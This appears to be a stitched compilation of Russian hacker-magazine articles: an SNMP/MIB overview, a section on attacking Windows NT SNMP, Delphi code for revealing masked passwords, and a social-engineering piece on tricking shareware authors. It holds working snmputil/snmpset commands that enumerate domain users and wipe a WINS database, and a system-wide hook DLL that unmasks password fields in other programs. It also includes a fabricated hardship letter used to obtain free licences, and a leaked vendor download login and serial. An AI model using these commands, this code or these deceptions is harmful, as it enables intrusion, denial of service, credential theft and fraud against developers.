Snmpi> dump ipNetToMediaTable Snmpi> ipNetToMediaIfIndex.1.193.124.224.33=1 ipNetToMediaIfIndex.1.193.124.224.35=1 ipNetToMediaIfIndex.3.192.148.166.193=3 ipNetToMediaIfIndex.3.192.148.166.196=3 ipNetToMediaIfIndex.3.193.124.226.110=3 ipNetToMediaIfIndex.5.195.249.30.33=5 ipNetToMediaIfIndex.5.192.148.166.100=5 ipNetToMediaPhysAddress.1.193.124.224.33=0x00:00:0c:02:3a:49 ipNetToMediaPhysAddress.3.192.148.166.196=0xaa:00:04:00:0c:04 ipNetToMediaPhysAddress.3.192.148.166.198=0xaa:00:04:00:0e:04 ipNetToMediaPhysAddress.3.192.148.166.203=0x00:00:01:00:54:62 |
ipNetToMediaPhysAddress.5.195.249.30.33=0x00:00:0c:02:69:7d IpNetToMediaPhysAddress.5.192.148.166.100=0x00: 20:af: 15:c1: 61 IpNetToMediaPhysAddress.5.192.148.166.101=0x00:00:09:42:0d:e8 IpNetToMediaNetAddress.1.193.124.224.33=193.124.224.33 IpNetToMediaNetAddress.1.193.124.224.35=193.124.224.35 IpNetToMediaNetAddress.3.192.148.166.193=192.148.166.193 IpNetToMediaNetAddress.3.193.124.226.110=193.124.226.110 IpNetToMediaNetAddress.5.195.249.30.33=195.249.30.33 IpNetToMediaType.1.193.124.224.33=other(1) IpNetToMediaType.1.193.124.224.35=dynamic(3) IpNetToMediaType.1.193.124.224.37=dynamic(3) IpNetToMediaType.3.192.148.166.195=dynamic(3) IpNetToMediaType.3.192.148.166.222= other(1) IpNetToMediaType.5.193.124.224.190= other(1) IpNetToMediaType.5.193.124.225.33= other(1) IpNetToMediaType.5.193.124.225.35=dynamic(3) |
Синтаксис каждого объекта описывается в рамках ASN.1 и показывает побитовое представление объекта. Кодирование объекта характеризует то, как тип объекта отображается через его синтаксис и передается по телекоммуникационным каналам. Кодирование производится в соответствии с базовыми правилами кодирование ASN.1. Все описания объектов базируются на типовых шаблонах и кодах ASN.1 (см. RFC-1213). Формат шаблона:
OBJECT (объект): |
Имя типа объекта с соответствующим ему идентификатором объекта.
(OBJECT IDENTIFIER) |
Маршруты также являются объектами MIB. Согласно требованиям к MIB, каждому маршруту в этой базе соответствует запись.
Поле Место назначения представляет собой IP-адрес конечной точки маршрута. Поле Индекс интерфейса определяет локальный интерфейс (физический порт), через который можно осуществить следующий шаг по маршруту. Следующие пять полей (Метрика 1…5) характеризует оценку маршрута. В простейшем случае, например для протокола RIP, достаточно было бы одного поля. Но для протокола OSPF необходимо пять полей (разные TOS). Поле Следующий шаг представляет собой IP-адрес следующего маршрутизатора. Поле Тип маршрута имеет значение 4 для опосредованного достижения цели маршрута; 2 для нереализуемого маршрута и 1 для случаев, отличных от вышеперечисленных.
Место назначения (ipRouteDept) Индекс интерфейса (ipRouteIfIndex) Метрика 1 (ipRouteMetric1) Метрика 5 (ipRouteMetric5) Следующий шаг (ipRouteNextHop) Тип маршрута (ipRouteType) Протокол маршрутизации (ipRouteProto) Возраст маршрута (ipRouteAge) Маска маршрута (ipRouteMask) Маршрутная информация (ipRouteInfo)Поле Протокол маршрутизации содержит код протокола. Для RIP этот код равен 8, для OSPF -13, для BGP -14, для ICMP -4, для прочих протоколов -1. Поле Возраст маршрута описывает время (в секундах), прошедшее с момента последней коррекции маршрута. Следующее поле Маска маршрута используется для выполнения логической побитовой операции И над адресом в IP-дейтограмме перед сравнением результата с кодом, хранящимся в первом поле записи ("место назначения"). Последнее поле Маршрутная информация содержит код, зависящий от протокола маршрутизации и обеспечивающий ссылки на соответствующую информацию в базе MIB.
Описание протокола SNMP (Simple Network Management Protocol).
| Через 20 лет в детском саду (или в детском чате) мальчик спрашивает девочку: - A твои родители в каком чате познакомились? |
Все серьезные системы управления сетями используют для своей работы простой сетевой протокол управления (Simple Network Management Protocol, SNMP). На самом деле SNMP - это не просто протокол, а целая технология, призванная обеспечить управление и контроль за устройствами и приложениями в сети. С ее помощью можно контролировать абсолютно любые устройства, подключенные к компьютерной сети, например датчики пожаротушения или даже светофоры. Разумеется, SNMP можно использовать (и это активно делают) для управления сетевыми компонентами: концентраторами, серверами, маршрутизаторами и т. п. Пользуясь информацией SNMP (такой, как показатель числа пакетов в секунду и коэффициент сетевых ошибок), сетевые администраторы могут более просто управлять производительностью сети и обнаруживать и решать сетевые проблемы.
Три составляющие части технологии SNMP: структура управляющей информации (Structure of Management Information, SMI) базы управляющей информации (Management Information Base, MIB) сам протокол SNMP.
Модель управления SNMP
Агентами в SNMP являются программные модули, которые работают в управляемых устройствах. Агенты собирают информацию об управляемых устройствах, в которых они работают, и делают эту информацию доступной для систем управления сетями (network management systems - NMS) с помощью протокола SNMP.
Протокол SNMP v1
SNMP реализован в 1988 практически во всех широко распространенных сетевых средах: TCP/IP, IPX/SPX, AppleTalk и др. Основной концепцией протокола является то, что вся необходимая для управления устройством информация хранится на самом устройстве - будь то сервер, модем или маршрутизатор - в так называемой Административной Базе Данных ( MIB - Management Information Base ). SNMP как непосредственно сетевой протокол предоставляет только набор команд для работы с переменными MIB. Этот набор включает следующие операции:
get-request Используется для запроса одного или более параметров MIB get-next-request Используется для последовательного чтения значений. Обычно используется для чтения значений из таблиц. После запроса первой строки при помощи get-request get-next-request используют для чтения оставшихся строк таблицы set-request Используется для установки значения одной или более переменных MIB get-response Возвращает ответ на запрос get-request, get-next-request или set-request trap Уведомительное сообщение о событиях типа cold или warm restart или "падении" некоторого linк'а.Для того, чтобы проконтролировать работу некоторого устройства сети, необходимо просто получить доступ к его MIB, которая постоянно обновляется самим устройством, и проанализировать значения некоторых переменных.
Формат сообщений
Сообщения SNMP состоят из 2 частей: имени сообщества (community name) и данных (data). Имя сообщества назначает среду доступа для набора NMS, которые используют это имя. Информационная часть сообщения содержит специфичную операцию SNMP (get, set, и т.д.) и связанные с ней операнды. Операнды обозначают реализации об'екта, которые включены в данную транзакцию SNMP.
Structure of Managment Information. RFC 1208
Определяет логику адресации информации при взаимодействии агентов и менеджеров SNMP. Синтиксис описывается абстрактными правилами Abstract Syntax Notation One, ASN.1.
Managment Information Base (MIB, MIB-II). RFC 1213
MIB представляет из себя набор переменных, характеризующих состояние объекта управления. Эти переменные могут отражать такие параметры, как количество пакетов, обработанных устройством, состояние его интерфейсов, время функционирования устройства и т.п. Каждый производитель сетевого оборудования, помимо стандартных переменных, включает в MIB какие-либо параметры, специфичные для данного устройства (в поддерево private enterprise).
Как происходит адресация в MIB к некоторой ее переменной?
По своей структуре MIB представляет из себя дерево.Каждому элементу соответствует численный и символьный идентификатор. В имя переменной включается полный путь до нее от корневого элемента root.
Например, время работы устройства с момента перезагрузки хранится в переменной, находящейся в разделе system под номером 3 и называется sysUpTime. Соответственно, имя переменной будет включать весь путь: iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysUpTime(3); или на языке чисел: 1.3.6.1.2.1.1.3. Следует заметить, что при этом узлы дерева разделяются точками.
Существует стандартная ветвь MIB, относящаяся к разделу управления mgmt, которую обычно поддерживают все сетевые устройства.
Тестирование сети с помощью SNMP
При помощи SNMP можно выполнять различные тесты функциональных возможностей сетевых устройств, определенные опять же на самих устройствах. Это бывает полезно, поскольку просто наблюдение статистики зачастую не дает полной картины происходящего.
Так, например, для раздела, относящегося к интерфейсам Ethernet, определен тест TDR (Time-domain reflectometry), позволяющий определять приблизительное расстояние до повреждения в коаксиальном кабеле. Для того, чтобы запустить TDR тест необходимо установить значение переменной ifЕхtnsТеstТуре (1.3.6.1.2.1.12.2.1.4), содержащей тип выполняемого теста, так, чтобы она содержала идентификатор теста TDR в MIB: 1.3.6.1.2.1.10.7.6.1.
Результатом теста будет, во-первых, значение переменной ifExtnsTestResult (1.3.6.1.2.1.12.2.1.5), характеризующей исход теста:
отсутствие результата успех выполняется не поддерживается невозможно запустить прекращен неудачное завершениеИ во-вторых, значение переменной ifExtnsTestCode (1.3.6.1.2.1.12.2.1.6) будет содержать идентификатор переменной MIB, содержащей результат теста. Результат теста определен как временной интервал в 100-наносекундных единицах между началом передачи тестового пакета и обнаружением коллизий в несущей. В принципе, на основании данного значения можно определить требуемое расстояние.
SNMP v2
Фундаментальным новшеством в SNMPv2 является то, что элемент администрирования сети может работать в качестве менеджера, агента или менеджера и агента одновременно. Данная концепция дает возможность пользователям применять SNMP в иерархической структуре, в которой локальные менеджеры отчитываются перед менеджерами среднего звена, которые, в свою очередь, контролируются менеджером высшего уровня. Немало места отводится проблемам защищенности SNMP, пожалуй, самой уязвимой точки протокола.
Безопасность SNMP. RFC 1352.
Один из наиболее заметных недостатков SNMP v1 - отсутствие развитой системы защиты данных на уровне, необходимом для сетей масштаба предприятия.
Как сказал Mike Warfield: "SNMP stands for Security Not My Problem".
В SNMPv1 защита административной информации трактовалась слишком упрощенно: она базировалась на использовании коллективного имени (Community Name), которое, находясь в заголовке SNMP, несло в себе все возможности защиты сообщений. Данное средство (известное под названием тривиальный протокол) требовало, чтобы программа-агент и менеджер опознали одно и то же коллективное имя, прежде чем продолжить выполнение операций сетевого администрирования. В результате многие администраторы сетей ограничивались в своей работе только функциями мониторинга, запрещая выдачу команды SET, способной изменять параметры конфигурации удаленного устройства. Это привело к тому, что пользователи избегали команд SET: такое примитивное средство защиты, как коллективное имя, могло дать возможность лицам, не наделенным соответствующими полномочиями, изменять параметры, о чем пользователи могли даже и не узнать. К тому же вся критически важная информация передавалась в открытом виде,поэтому в интернете доступен даже snmp sniffer.
В связи с этим были разработаны предложения по совершенствованию защиты в рамках SNMPv1, представленные в июле 1992 г.; они составили основу структуры защиты для SNMPv2.
Стандартами защиты SNMPv2 определяются методы аутентификации (DAP - Digest Authentication Protocol) и обеспечения конфиденциальности (SPP -Symmetric Privacy Protocol) информации административного характера. В основе лежит концепция участника (party) - уникального набора параметров защиты, который может включать местоположение сети, протоколы аутентификации и обеспечения конфиденциальности, используемые между агентом и менеджером.
Проблемы внедрения SNMPv2
SNMPv2 сулит выгоды в плане защиты и производительности, что немаловажно для пользователей. Но некоторые компании наверняка предложат свои собственные идеи, особенно в части защиты и связей между менеджерами. Кроме того, фирмы, расширившие функциональные возможности своих баз данных MIB в средах с SNMPv1, вряд ли будут спешить с выпуском продуктов под SNMPv2.
Несомненно,пользователи захотят иметь продукты на базе SNMPv2. Но дело в том, что многие уже вложили слишком большие средства в версию SNMPv1, чтобы просто выбросить ее и начать все с нуля. Авторы SNMPv2 предвидели это и исходили из постепенности перехода на новую технологию. Предусмотрены два способа сохранения SNMPv1: использование уполномоченных агентов и двуязычных менеджеров. Уполномоченный агент выполняет преобразование форматов SNMPv1 в сообщения SNMPv2 и обратно.
Другой вариант - двуязычный менеджер, который одновременно поддерживает оба протокола (SNMPv1 и SNMPv2) и не требует преобразований. Двуязычный менеджер SNMP определяет, с каким форматом работает агент - версии 1 или версии 2, и общается на соответствующем диалекте. Таким образом, выбор версии протокола должен быть прозрачен для принимающих устройств.
К сожалению,вторая версия SNMP так до сих пор и не утверждена, поэтому в стане сетевого управления наблюдается разброд и шатания.
Доступные реализации агентов и менеджеров
http://www.microsoft.com/smsmgmt/ MS SMS Netmon.
http://www.winfiles.com/apps/98/net-manage.html куча разнообразных агентов и менеджеров для Win95.
Epilogue предлагает ПО, реализующее поддержку SNMP, включающую:
Envoy, Epilogue's compact, fast, portable SNMP solution for OEMs Emissary, an SNMP MIB compiler that allows SNMP implementors to extend standard SNMP variables to support extensions to the MIBs in each managed device; Ambassador, a complete, portable implementation of the RMON (FastEthernet) remote monitoring agent. The IBM Netview for AIX feature of SystemView provides distributed or centralized management of large heterogeneous networks. ACE*COMM WinSNMP supports SNMPv1 & SNMPv2u in v2.0 of its industry-leading Win16 and Win32 WinSNMP implementations. Digital Unix POLYCENTER Manager on NetView provides client/server management of multivendor enterprise networks. The PowerFlag tool - агент для UPS MIB источников бесперебойного питания компании Victron B.V. WS_Ping ProPack v.2.10 позволяет просматривать MIB таблицы, указывать поддеревья. Для скачавания свежих версий с сервера Ipswitch можно использовать следующие данные : User Name: 0000037181 Password: CQWSC Serial Number: WP-101333 Openly-Available Implementations CMU SNMP agent (source) an agent that support both SNMPv1 and SNMPv2u a number command line based applications that support both SNMPv1 and SNMPv2u. Carnegie-Mellon University SNMP Development Kit supporting SNMPv1/v2 NetSCARF is a Network Statistics Collection and Reporting Facility. It allows ISPs to collect and report data about their part of the Internet, supports both SNMP version 1 and USEC. Scotty is a network management extension for the Tool Command Language (Tcl) which includes a portable implementation of the SNMPv1, SNMPv2c and SNMPv2u protocol. The Scotty Tcl extension includes the network management platform (Tkined) which provides a MIB browser, a network map editor as well as status monitoring, troubleshooting, network discovery and event filtering scripts. snmptcp v1.3 is a extensible platform for management applications which seemlessly implements SNMPv1, SNMPv2c, and SNMPv2u. The package runs under the X Window System on UNIX and is built from Tool Command Language (Tcl7.3/Tk3.6).In addition to a MIB compiler, the package contains some minimal applications for a number of standard MIB modules.Атака на Windows SNMP.
Сервисы работают на следующих UDP портах (/etc/services).
snmp 161/udp snmp snmp-trap 162/udp snmpИнтересные SMI Network Management Private Enterprise Codes:
Prefix: 1.3.6.1.4.1.
2 IBM 4 Unix 9 cisco 32 Santa Cruz Operation 42 Sun MicrosystemsНебольшое распространение сканнеров UDP портов под Windows, SNMP менеджеров, а также отсутствие знаний о самом протоколе является, по всей видимости, единственной причиной малочисленности атак на устройства под управление SNMP v1, так как в реализациях этого протокола в некоторых операционные системы допущены серьезные ошибки. Подтверждения этому то и дело появляются в списках рассылки bugtraq.
Уязвимость в стандартной конфиругации Windows NT SNMP Сервиса.
Позволяет удаленно конфигурировать сетевые парамерты, которые влияют на безопасность и правильное функционирования системы (если администратор сам запустил SNMP Service).
При конфигурации по умолчанию, SNMP service отвечает на стандартное community ( имя ) "public", которое обладает права на чтение и запись. Community - это имя, которое обладает такими же функциями, как логин и пароль в системах.
Протокол SNMP предоставляет два уровня полномочий : read-only and read-write, однако до выхода SP4 Windows NT SNMP Service не позволял конфигурировать communities по доступу, отличному от read-write!
Если попытать обезопасить SNMP Service путем переименования community для доступа, то система останется незащищенной от крякера, имеющего аккаунт на машине, так как параметры SNMP Service находятся в регистри и доступны всем пользователям на чтение. Также Windows NT SNMP Service обладает возможностью ограничить доступ для списков IP-адресов. На первый взгляд это позволяет защититься от атак неизвестных систем, однако это не является проблемой для крякеров (что необходимо понимать любому администратору), так как протокол SNMP использует UDP протокол для обмена информацией, а он является протоколом без установления соединения, поэтому возможна подмена исходящего адреса (но для этого придется переработать исходники SNMP менеджеров под Unix и изучить UDP spoofing).
SNMP "set" операции ( позволяющие менять значение переменных ) могут быть произведены с подменой обратного адреса на любой, так как ответ не нужен. Однако если включено ограничение доверенных IP адресов, но придется найти аккаунт на атакуемой системе и извлечь доверенную информацию из регистри.
Благодаря сконфигурированному по умолчанию Windows NT SNMP Сервису мы можем извлечь с помощью SNMP менеджера следующую информацию :
the LAN Manager domain name a list of users a list of shares a list of running servicesКак рекомендовалось в ISS sсаnnеr'е, можно выключить эту порцию SNMP mibs таким способом:
Открыть HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents найти значение, которое содержит SOFTWARE\Microsoft\LANManagerMIB2Agent\CurrentVersion и удалить его. a list of active TCP connections a list of active UDP connections a list of network interfaces and their associated IP and hardware addresses the IP routing table and the ARP table as well as a number of networking performance statistics.Устанавливая переменные, крякер может модифицировать таблицу роуминга, ARP таблицу, выключить сетевые интерфейсы, сбить существенные сетевые параметры типа default IP, время жизни пакетов (TTL), IP forwarding (позволит крякеру перенаправлять сетевой трафик). Это особенно опасно, если атакуемая машина является фаерволом.
За примерами далеко ходить не надо, например, если машина является domain controller или server, но получить список всех пользователей в домене можно командой C:\NTRESKIT>snmputil walk public .1.3.6.1.4.1.77.1.2.25.
Если вам хочется удалить все записи в базе данных WINS ( что приведет к полному отказу WinNT ), то для этого необходимо выполнить ~$snmpset -v 1192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.178.16.2 из набора CMU SNMP development kit under Unix.
Также есть очень любопытная деталь при установки SNMP community names в Windows NT 4.0 (SP3). Если сервис включен, а имена не сконфигурированы, то любое имя будет давать read/write привилегии. Как оказалось, это указано еще в спецификации SNMP ( RFC 1157 )!
Четвертый СервисПак(SP4) предоставляет следующее решение проблемы: добавление контроля доступа community как READ ONLY,READ WRITE или READE CREATE. Однако по умолчанию SP4 устанавливает READ CREATE доступ, который все еще позволяет атаковать машины. Микрософт явно заботиться об удобстве WinNT для хакеров :).
Лучший способ защиты по рекомендации M$: заблокировать SNMP access на firеwаll'е.
Проблема в OS Solaris версии до 2.6.
Исходя из ISS Security Advisory (November 2nd, 1998), в агенте SNMP, который по умолчанию запущен в этой системе, существуют реальные угрозы получить доступ на уровне рута, манипулировать процессами и параметрами машины.
Для доступа к MIB-информации существует скрытая "undocumented community string", которая позволит атакующему изменить большинство системных параметров.
К сожалению, само это community не называется, однако ISS Internet Scanner и ISS RealSecure real-time intrusion detection могут детектировать эту проблемы, т.е. посмотреть можно и в их исходниках.
Увидеть пароль скрытый за звёздочками 2.
Автор: Baa WEB-сайт: http://forum.vingrad.ruНаверно так: хотя классов может быть больше.
procedure TForm1.Timer1Timer(Sender: TObject);
var
Wnd: HWND;
lpClassName: array[0..$FF] of Char;
begin
Wnd := WindowFromPoint(Mouse.CursorPos);
GetClassName(Wnd, lpClassName, $FF);
if ((strpas(lpClassName) = 'TEdit') or (strpas(lpClassName) = 'EDIT')) then
PostMessage(Wnd, EM_SETPASSWORDCHAR, 0, 0);
end;
Дополнение от: Mikel
Здесь проблема: если страница памяти защищена, то её нельзя прочитать таким способом, но можно заменить PasswordChar(пример: поле ввода пароля в удаленном соединении).
Увидеть пароль скрытый за звёздочками.

| Не пей из чайника - чайником станешь... |
Создание и использование DLL:
Благодаря твоим просьбам и запросам из HackFaq мне приходится отходить от плана согласованного с главредом. С одной стороны, ты толкаешь меня под окровавленный кровью авторов Х нож главреда. С другой стороны ты мне усложняешь жизнь по самые «не хочу». В любом случае, ничего хорошего. Если так пойдёт и дальше, то на ноже SinТЕZа появится моя свежая кровь. И следующий репортаж о кодинге мне придётся вести уже из морга.
Но что поделаешь. Сегодня мне приходится корректировать свой план и выполнять твои просьбы. В этом номере обе статьи кодинга построены по самым многочисленным просьбам.
Эта статья отвечает на наиболее часто задаваемый вопрос из HackFaq: «Как увидеть пароль спрятанный под звёздочками?». Для этого есть куча разных прог. Но мы же с тобой совместимые челы, поэтому не юзаем чужие творения. Вот поэтому мы создадим такую прогу сами. Тем более, что сам попросил объяснить, как это работает.
Шкодинг:
Для этого примера я написал DLL файл, который будет сейчас расписан перед твоими глазами. Ничего особо визуального мы сегодня делать не будем. Только кодинг и ничего больше. Кстати, я уже перешёл на Delphi 6, так что все исходники теперь будут писаться в нём. Если ты до сих пор застрял в Delphi 5, то бегом на рынок за свеженьким диском.
Для начала создадим новый проект. Но не тот, который использовали до этого, а проект DLL библиотеки. Для этого выбирай меню File->New->Other … (для Delphi 5 это просто File->New). Перед тобой откроется окно. Найди здесь пункт DLL Wizard и дважды кликни по нему. Delphi создаст пустой проект DLL библиотеки. Сразу нажми пимпу «Save», чтобы сохранить проект. В качестве имени введи «hackpass», это же и будет именем dll файла.
Теперь сотри весь текст, который написал Delphi и напиши:
library hackpass;
uses Windows, Messages;
var
SysHook : HHook = 0;
Wnd : Hwnd = 0;
function SysMsgProc(code : integer; wParam : word;
lParam : longint) : longint; stdcall;
begin
// Передать сообщение другим ловушкам в системе
CallNextHookEx(SysHook, Code, wParam, lParam);
// Проверяю сообщение
if code = HC_ACTION then
begin
// Получаю идентификатор окна сгенерировавшего сообщение
Wnd := TMsg(Pointer(lParam)^).hwnd;
// Проверяю тип сообщения.
// Если была нажата левая кнопка мыши
// и удержана кнопка Control, то …
if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
if ((TMsg(Pointer(lParam)^).wParam and MK_CONTROL) = MK_CONTROL) then
begin
// Убрать в окне отправившем сообщение зв¸здочки
SendMessage(Wnd, em_setpasswordchar, 0, 0);
// Перерисовать окно.
InvalidateRect(Wnd, nil, true);
end;
end;
end;
// Процедура запуска.
procedure RunStopHook(State : Boolean) export; stdcall;
begin
// Если State = true, то...
if State=true then
begin
// Запускаем ловушку.
SysHook := SetWindowsHookEx(WH_GETMESSAGE,
@SysMsgProc, HInstance, 0);
end
else// Иначе
begin
// Отключить ловушку.
UnhookWindowsHookEx(SysHook);
SysHook := 0;
end;
end;
exports RunStopHook index 1;
begin
end.
|
Теория:
Самое основное в нашей DLL – это процедура RunStopHook. Ей передаётся один только параметр. Если он равен true, то я регистрирую ловушку, которая будет ловить все сообщения Windows на себя. Для этого используется функция SetWindowsHookEx. У этой функции четыре параметра:
Тип ловушки. Я указал WH_GETMESSAGE, которая ловит все сообщения. Указатель на функцию, которой будут пересылаться сообщения Windows. Указатель на приложение. Идентификатор потока. Если ноль, то используется текущий.В качестве второго параметра я указал имя функции SysMsgProc. Она так же описана в этой dll. Давай на неё посмотрим.
Ловушка для сообщений:
В первой строке я передаю пойманное сообщение остальным ловушкам установленным в системе с помощью CallNextHookEx. После этого я получаю окно сгенерировавшее событие и проверяю тип события. Если была кликнута левая кнопка крысы и удержана пимпа Control, то убрать звёздочки.
Я не могу больше останавливаться на этой DLL потому что моя рубрика не резиновая. Придётся тебе разбираться с происходящим по комментариям.
Юзаем DLL:
Теперь напишем прогу, которая будет загружать DLL и запускать ловушку. Для этого создай новый проект (такие мы уже создавали). Перейди в исходник, и найди раздел var. Рядом должно быть написано что-то типа «Form1: TForm1». Допиши сюда строку:
procedure RunStopHook(State : Boolean) stdcall; external 'hackpass.dll' index 1; |
В этой строке я объясняю Delphi, что есть такая функция RunStopHook, которая находится в написанной мной библиотеке hackpass.dll и её индекс = 1. Вот по этому индексу Delphi и будет вызывать функцию. Можно конечно же и по имени, но это будет немного медленней.
Теперь создай обработчик события для формы OnShow и напиши там:
RunStopHook(true); |
И наконец создай обработчик события OnClose и напиши:
RunStopHook(false); |
Кранты паролям:
Всё наше приложение готово. Запусти его. Потом перейди в окно со строкой ввода и кликни там левой кнопкой крысы удерживая Control. Звёздочки моментально превратятся в реальный текст.
Для большего эффекта можешь бросить на форму проги загружающей DLL, какую-нибудь картинку. Ну а если что-то не понятно, то просто тренируйся. Со временем всё само придёт. Главное практика.
Социальная инженерия в реверс инженеринге.
Автор: Bad_guy WEB сайт: http://cracklab.narod.ru Недавно меня посетила мысль: "Описания какого взлома не хватает на моем сайте CRACKL@B ?". Ответ пришел незамедлительно: "Взлома методом социальной инженерии.", что ж: сказано - сделано ! За все время своей крэкерской карьеры я не раз встречал множество статей с описаниями множества способов взлома программ - чего там только не было... однако мне ни разу не доводилось встречать описания взлома методом социальной инженерии, хотя такой метод и был отмечен в классификации способов взлома. Не знаю почему никто в Рунете не хотел описывать до меня такой интересный и аватюристский метод взлома, как социальная инженерия, может быть многие крэкеры считают это ниже своего достоинства или просто тычутся между стенками разнообразных крэкерских утилит забывая об альтернативных способах взлома ? Надеюсь, что эта статья приобретет скандальную известность в крэкерских кругах и откроет большому числу крэкеров новые непознанные пути... а теперь - в путь ! На всякий случай, давайте сначала определим что же такое Социальная Инженерия (СИ). СИ - это некоторые действия над человеческим сознанием с целью получения желаемого результата. Поэтому сегодня вы узнаете скорее не как взломать shareware-программу, а как взломать shareware-автора. Первый этап - выбор цели С целью получения некоторых статистических данных о методе социальной инженерии в реверс инженеринге, было решено взломать не одну, а пять программ, с авторами первых двух программ я когда-то немного общался, поэтому решил взять их программы, остальные три программы были выбраны следующим образом: у меня на диске был старый каталог download.ru, я зашел на главную страницу, выбрал раздел "Мультимедиа и графика", затем раздел "графические редакторы" - на той странице и находились все эти программы, они были выбраны так, чтобы автором был частный разработчик и чтобы цена была не менее 100 рублей, но и не более 500, а также, чтобы программа была рассчитана на обычного юзера и ее версия не была последней выпущенной, кстати, скачивать те программы я не стал за ненадобностью, а из первых двух я иногда использую только Advanced Video Poker, который уже давно взломал обычным способом. Был составлен такой список (там присутствовал еще e-mail автора):!ВНИМАНИЕ! Некоторые нижеследующие грамматические ошибки допущены намерено, как часть общего замысла.
| %PROGRAM% | %AUTHOR% | %PRICE% |
| ZSKSoft Synchronizer 1.11 | колектив ZSKSoft | 100 руб. |
| Advanced Video Poker 1.30.1 | колектив Aimgames | 20$ |
| WaveL Pic2Pic Pro 1.7 | Леонид Николаевич | 200 руб. |
| VCW VicMans Photo Editor 5.43 | Виктор | 150 руб. |
| QuickPic SchemCreator 3.2 | Владислав Николаевич | 4$ |
Далее на e-mail авторам было отправлено такое сообщение:
Subject: %PROGRAM% Здраствуйте, уважаемый %AUTHOR%. Мне очень нравится ваша программа %PROGRAM% - я пользуюсь ей почти каждый день и хотел бы стать зарегистрированным пользователем, но сумма, которую надо заплатить очень велика. У нас многодетная семья 5 детей, мы живем на 120 рублей в день и еле сводим концы с концами, поэтому родители не позволяют мне заплатить за вашу программу, не могли бы вы дать мне бесплатную регистрацию, я буду вам очень-очень благодарен за это ! Поверьте, я действительно очень хотел бы ее купить, но у меня нет денег даже на модем и интернет (я отсылаю вам это письмо от друга), а старенький компьютер нам подарил сосед-програмист. Огромное спасибо! Шепелев Антон. Адрес электроной почты: sam*****@yandex.ru |
От создателя этой программы я получил следующее письмо:
Здравствуйте Антон, Спасибо Вам за интерес к нашей программе. Мы готовы дать Вам бесплатную регистрацию в обмен на небольшой отчет следующего содержания: - для чего Вам нужен ZSKSoft Synchronizer, как Вы его используете (желательно подробно); - что Вам нравится в программе, что не нравится, что хотелось бы видеть в будущих версиях; - чем Вам не подходит бесплатная программа vuBrief: http://www.vu-software.spb.ru/brief/ - характеристики Вашего компьютера: процессор, обьем памяти, размер диска, операционная система. С уважением, Сергей Зырянов http://www.zsk****.com/rus support@zsk****.com |
Хотел было не отвечать, лень было изучать программу, но потом решил все таки пойти до конца, почитал help-файл, попробовал и выдал следующий текст, вжившись в положение Шепелева Антона.
Здраствуйте, Сергей. Огромное спасибо за ответ, я рад что смогу вам чем-то помочь в обмен на регистрацию, вот мой отчет: 1. Я использую ZSync для ежедневного резервного копирования файлов doc и rtf на дискету (я занимаюсь набором рукописей), дело в том что жесткий диск компьютера начал уменьшатся в размере ежедневно (хозяин сказал, что это обычное явление для старых дисков) - однажды я потерял весь свой труд. 2. По началу использования программы мне было сложно ее освоить, я не сразу понял что есть что, но потом так привык к ней, что немогу себе представить, что я буду без нее делать. Особенно нравится мне выбор типов файлов для копирования. 3. Про vuBrief я ничего не знаю, потому что не имею личного доступа к интернету, может быть она и подошла бы, кстати вашу программу мне дали на диске, кажется "системные утилиты". 4. Компьютер: Pentium-90, 16 мегабайт оперативной памяти, жесткий диск - 1 гигабайт, Windows 98. Еще раз спасибо ! Шепелев Антон. |
На следующий день я получил такое замечательное письмо:
Уважаемый Антон,
Спасибо Вам за регистрацию ZSKSoft Synchronizer.
Файл с Вашим личным ключом регистрации (ZSync.key) находится во
вложении к этому письму. Помните, что лицензия на использование
ZSKSoft Synchronizer предоставлена лично Вам, передача кому либо или
публикация ключа влечет немедленное и автоматическое прекращение Вашей
лицензии.
Для регистрации программы выполните следующие шаги:
(предварительно ознакомьтесь с примечанием в конце письма)
1. Убедитесь, что у Вас установлена последняя версия. Для этого
запустите ZSKSoft Synchronizer и откройте окно "О программе" (пункт
меню "Помощь"/"О программе") - там должна быть строчка "Версия 1.21".
При необходимости скачайте и установите последнюю версию с
http://www.zsk****.com/rus/ZSyncSetup.zip. После установки запустите
ZSKSoft Synchronizer хотя бы один раз.
2. Откройте вложенный в письмо файл ZSync.key (наведите на него
указатель мыши и дважды щелкните, это можно сделать прямо в почтовой
программе). Если появится вопрос "Добавить в реестр информацию...?",
ответьте "Да". Вы увидите такое сообщение: "Данные из ZSync.key были
успешно внесены в реестр" либо "Information in ZSync.key has been
succesffully entered into the registry".
3. Запустите ZSKSoft Synchronizer, и Вы должны увидеть свое имя в
графе "Зарегистрировано:" в диалоговом окне "Помощь"/"О программе".
Если Вы потеряете файл ZSync.key и Вам понадобится переустановить
ZSKSoft Synchronizer - напишите в нашу службу технической поддержки
support@zsk****.com, и мы пришлем Вам ключ снова.
Как зарегистрированный пользователь Вы можете бесплатно скачивать все
обновления и новые версии программы с нашего сайта в течении 1 года с
момента регистрации. Если у Вас появятся затруднения в работе с
программой, мы всегда будем рады Вам помочь. Также мы с удовольствием
примем от Вас любые замечания, предложения и комментарии и постараемся
воплотить их в будущих версиях.
====================================================================
Это ключ должен без проблем подойти к Вашей версии ZSync (1.11).
Перенесите файл ZSync.key на свой компьютер и щелкните по нему в
проводнике Windows. Если что-то не получится - пишите, поможем.
Последняя версия (1.21) отличается от Вашей следующим:
- может сравнивать содержимое файлов, т.е. показывать, что именно
там изменилось. Это удобно для текстовых файлов, для doc и rtf
вряд ли пригодится, т.к. у них довольно-таки нечитабельный формат
- можно выбирать каталог в локальной сети
- можно проверять изменившиеся файлы не по дате/времени, а по
содержимому. Это бывает полезно, скажем, для обьектных файлов; а в
Вашем случае разве что замедлит работу с дискетой.
В общем, можете не беспокоится о том, что Ваша версия немного
устарела.
С уважением,
Сергей Зырянов
http://www.zsk****.com/rus
support@zsk****.com
|
Вот что он мне ответил на мое первое письмо:
